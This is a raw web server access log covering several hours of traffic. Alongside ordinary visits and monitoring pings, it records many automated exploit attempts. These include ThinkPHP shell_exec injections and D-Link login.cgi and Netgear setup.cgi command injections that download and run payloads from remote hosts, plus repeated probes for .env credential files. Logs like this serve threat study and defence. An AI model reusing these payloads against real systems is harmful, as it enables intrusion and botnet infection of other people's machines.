183.80.89.6 - - [14/Feb/2020:02:41:55 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
5.202.150.133 - - [14/Feb/2020:02:43:17 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
109.94.2.18 - - [14/Feb/2020:02:43:17 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
5.32.176.102 - - [14/Feb/2020:02:55:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
94.101.136.152 - - [14/Feb/2020:02:55:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
95.132.36.73 - - [14/Feb/2020:02:58:09 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
180.115.36.56 - - [14/Feb/2020:03:06:30 +0100] "POST /GponForm/diag_Form?images/ HTTP/1.1" 404 319 "-" "Hello, World"
42.113.229.113 - - [14/Feb/2020:03:10:31 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
14.183.169.64 - - [14/Feb/2020:03:12:33 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
211.218.0.195 - - [14/Feb/2020:03:14:19 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
211.218.0.195 - - [14/Feb/2020:03:14:23 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
211.218.0.195 - - [14/Feb/2020:03:14:28 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
211.218.0.195 - - [14/Feb/2020:03:14:41 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
211.218.0.195 - - [14/Feb/2020:03:15:05 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
54.172.83.76 - - [14/Feb/2020:03:19:30 +0100] "GET /.env HTTP/1.1" 404 309 "-" "curl/7.58.0"
54.172.83.76 - - [14/Feb/2020:03:19:30 +0100] "GET /.env HTTP/1.1" 404 309 "-" "curl/7.58.0"
54.172.83.76 - - [14/Feb/2020:03:19:30 +0100] "GET /.env HTTP/1.1" 404 309 "-" "curl/7.58.0"
54.172.83.76 - - [14/Feb/2020:03:19:30 +0100] "GET /.env HTTP/1.1" 404 309 "-" "curl/7.58.0"
54.172.83.76 - - [14/Feb/2020:03:19:30 +0100] "GET /.env HTTP/1.1" 404 309 "-" "curl/7.58.0"
54.172.83.76 - - [14/Feb/2020:03:19:30 +0100] "GET /.env HTTP/1.1" 404 309 "-" "curl/7.58.0"
54.172.83.76 - - [14/Feb/2020:03:19:30 +0100] "GET /.env HTTP/1.1" 404 309 "-" "curl/7.58.0"
54.172.83.76 - - [14/Feb/2020:03:19:30 +0100] "GET /.env HTTP/1.1" 404 309 "-" "curl/7.58.0"
54.172.83.76 - - [14/Feb/2020:03:19:30 +0100] "GET /.env HTTP/1.1" 404 309 "-" "curl/7.58.0"
54.172.83.76 - - [14/Feb/2020:03:19:30 +0100] "GET /.env HTTP/1.1" 404 309 "-" "curl/7.58.0"
91.220.204.163 - - [14/Feb/2020:03:26:03 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
129.146.101.83 - - [14/Feb/2020:03:27:32 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
197.148.130.30 - - [14/Feb/2020:03:30:13 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
220.180.167.150 - - [14/Feb/2020:03:30:37 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
47.105.165.30 - - [14/Feb/2020:03:34:42 +0100] "GET /TP/public/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
47.105.165.30 - - [14/Feb/2020:03:34:44 +0100] "GET /TP/index.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
47.105.165.30 - - [14/Feb/2020:03:34:45 +0100] "GET /thinkphp/html/public/index.php HTTP/1.1" 404 335 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
47.105.165.30 - - [14/Feb/2020:03:34:45 +0100] "GET /html/public/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
79.35.244.60 - - [14/Feb/2020:03:35:04 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
42.117.64.195 - - [14/Feb/2020:03:46:52 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
175.35.119.37 - - [14/Feb/2020:03:59:41 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
45.172.72.13 - - [14/Feb/2020:04:08:51 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.85.91.19 - - [14/Feb/2020:04:18:12 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.85.91.19 - - [14/Feb/2020:04:18:48 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
54.172.83.76 - - [14/Feb/2020:04:22:38 +0100] "GET /.env HTTP/1.1" 404 309 "-" "curl/7.58.0"
54.172.83.76 - - [14/Feb/2020:04:22:48 +0100] "GET /.env HTTP/1.1" 404 309 "-" "curl/7.58.0"
54.172.83.76 - - [14/Feb/2020:04:22:52 +0100] "GET /.env HTTP/1.1" 404 309 "-" "curl/7.58.0"
54.172.83.76 - - [14/Feb/2020:04:22:54 +0100] "GET /.env HTTP/1.1" 404 309 "-" "curl/7.58.0"
54.172.83.76 - - [14/Feb/2020:04:22:59 +0100] "GET /.env HTTP/1.1" 404 309 "-" "curl/7.58.0"
54.172.83.76 - - [14/Feb/2020:04:22:59 +0100] "GET /.env HTTP/1.1" 404 309 "-" "curl/7.58.0"
54.172.83.76 - - [14/Feb/2020:04:23:15 +0100] "GET /.env HTTP/1.1" 404 309 "-" "curl/7.58.0"
54.172.83.76 - - [14/Feb/2020:04:23:17 +0100] "GET /.env HTTP/1.1" 404 309 "-" "curl/7.58.0"
185.42.195.86 - - [14/Feb/2020:04:25:37 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
54.172.83.76 - - [14/Feb/2020:04:26:45 +0100] "GET /.env HTTP/1.1" 404 309 "-" "curl/7.58.0"
47.195.1.77 - - [14/Feb/2020:04:30:27 +0100] "POST /editBlackAndWhiteList HTTP/1.1" 404 325 "-" "Help"
95.8.92.252 - - [14/Feb/2020:04:39:06 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
94.60.123.74 - - [14/Feb/2020:04:39:44 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
34.67.90.103 - - [14/Feb/2020:04:42:33 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
185.193.176.167 - - [14/Feb/2020:04:44:22 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
54.172.83.76 - - [14/Feb/2020:04:47:29 +0100] "GET /.env HTTP/1.1" 404 309 "-" "curl/7.58.0"
42.113.49.48 - - [14/Feb/2020:04:48:01 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
64.227.55.76 - - [14/Feb/2020:04:49:01 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
197.205.6.201 - - [14/Feb/2020:05:00:19 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
118.69.34.216 - - [14/Feb/2020:05:00:35 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
3.95.165.122 - - [14/Feb/2020:05:03:36 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
87.241.128.55 - - [14/Feb/2020:05:03:54 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
102.23.234.202 - - [14/Feb/2020:05:05:06 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
103.134.2.63 - - [14/Feb/2020:05:05:59 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
113.161.150.116 - - [14/Feb/2020:05:13:11 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
115.75.0.166 - - [14/Feb/2020:05:13:22 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
167.71.182.143 - - [14/Feb/2020:05:21:01 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
103.135.39.2 - - [14/Feb/2020:05:21:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
95.0.206.51 - - [14/Feb/2020:05:22:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
82.209.211.193 - - [14/Feb/2020:05:24:57 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
82.209.211.193 - - [14/Feb/2020:05:24:58 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
112.27.187.117 - - [14/Feb/2020:05:25:26 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://zxcxffyttygbbgfgf12121bot.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Karu/2.0"
146.196.123.39 - - [14/Feb/2020:05:26:11 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
103.60.215.57 - - [14/Feb/2020:05:29:15 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
78.158.191.155 - - [14/Feb/2020:05:37:27 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
181.48.169.105 - - [14/Feb/2020:05:42:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
188.120.138.34 - - [14/Feb/2020:05:43:37 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
190.28.111.56 - - [14/Feb/2020:05:50:49 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://scan.casualaffinity.net/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Karu/2.0"
139.162.106.181 - - [14/Feb/2020:05:51:09 +0100] "GET / HTTP/1.1" 200 1229 "-" "HTTP Banner Detection (https://security.ipip.net)"
167.86.114.167 - - [14/Feb/2020:05:51:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "-"
42.117.213.92 - - [14/Feb/2020:05:52:20 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
174.81.167.164 - - [14/Feb/2020:05:54:44 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
88.243.143.165 - - [14/Feb/2020:05:56:14 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
42.118.80.223 - - [14/Feb/2020:05:58:37 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
92.242.11.182 - - [14/Feb/2020:06:03:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
139.162.119.197 - - [14/Feb/2020:06:04:10 +0100] "GET / HTTP/1.1" 200 1229 "-" "HTTP Banner Detection (https://security.ipip.net)"
183.80.89.138 - - [14/Feb/2020:06:07:40 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
47.110.254.132 - - [14/Feb/2020:06:09:47 +0100] "GET /TP/public/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
78.29.15.81 - - [14/Feb/2020:06:15:50 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
182.53.26.4 - - [14/Feb/2020:06:21:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
31.44.176.6 - - [14/Feb/2020:06:29:06 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
82.221.105.6 - - [14/Feb/2020:06:34:57 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36"
82.221.105.6 - - [14/Feb/2020:06:34:57 +0100] "GET /robots.txt HTTP/1.1" 404 315 "-" "-"
82.221.105.6 - - [14/Feb/2020:06:34:57 +0100] "GET /sitemap.xml HTTP/1.1" 404 316 "-" "-"
82.221.105.6 - - [14/Feb/2020:06:34:57 +0100] "GET /.well-known/security.txt HTTP/1.1" 404 329 "-" "-"
82.221.105.6 - - [14/Feb/2020:06:34:58 +0100] "GET /favicon.ico HTTP/1.1" 404 316 "-" "python-requests/2.10.0"
176.9.41.28 - - [14/Feb/2020:06:35:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; MegaIndex.ru/2.0; +http://megaindex.com/crawler)"
73.32.140.239 - - [14/Feb/2020:06:39:15 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
208.114.149.10 - - [14/Feb/2020:06:39:29 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
114.238.106.57 - - [14/Feb/2020:06:54:06 +0100] "GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://192.168.1.1:8088/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0" 404 310 "-" "-"
217.44.241.183 - - [14/Feb/2020:06:59:37 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [14/Feb/2020:07:00:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:07:01:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:07:02:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:07:03:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:07:04:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:07:05:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:07:06:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:07:07:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
190.94.150.64 - - [14/Feb/2020:07:07:56 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [14/Feb/2020:07:08:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:07:09:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:07:10:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:07:11:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
62.231.108.2 - - [14/Feb/2020:07:11:41 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [14/Feb/2020:07:12:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
185.26.33.89 - - [14/Feb/2020:07:12:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [14/Feb/2020:07:13:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:07:14:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:07:15:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:07:16:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:07:17:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
185.173.35.1 - - [14/Feb/2020:07:18:19 +0100] "GET / HTTP/1.0" 200 1229 "-" "NetSystemsResearch studies the availability of various services across the internet. Our website is netsystemsresearch.com"
212.91.246.72 - - [14/Feb/2020:07:18:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:07:19:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:07:20:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:07:21:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:07:22:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:07:23:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:07:24:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:07:25:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
200.207.144.225 - - [14/Feb/2020:07:25:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
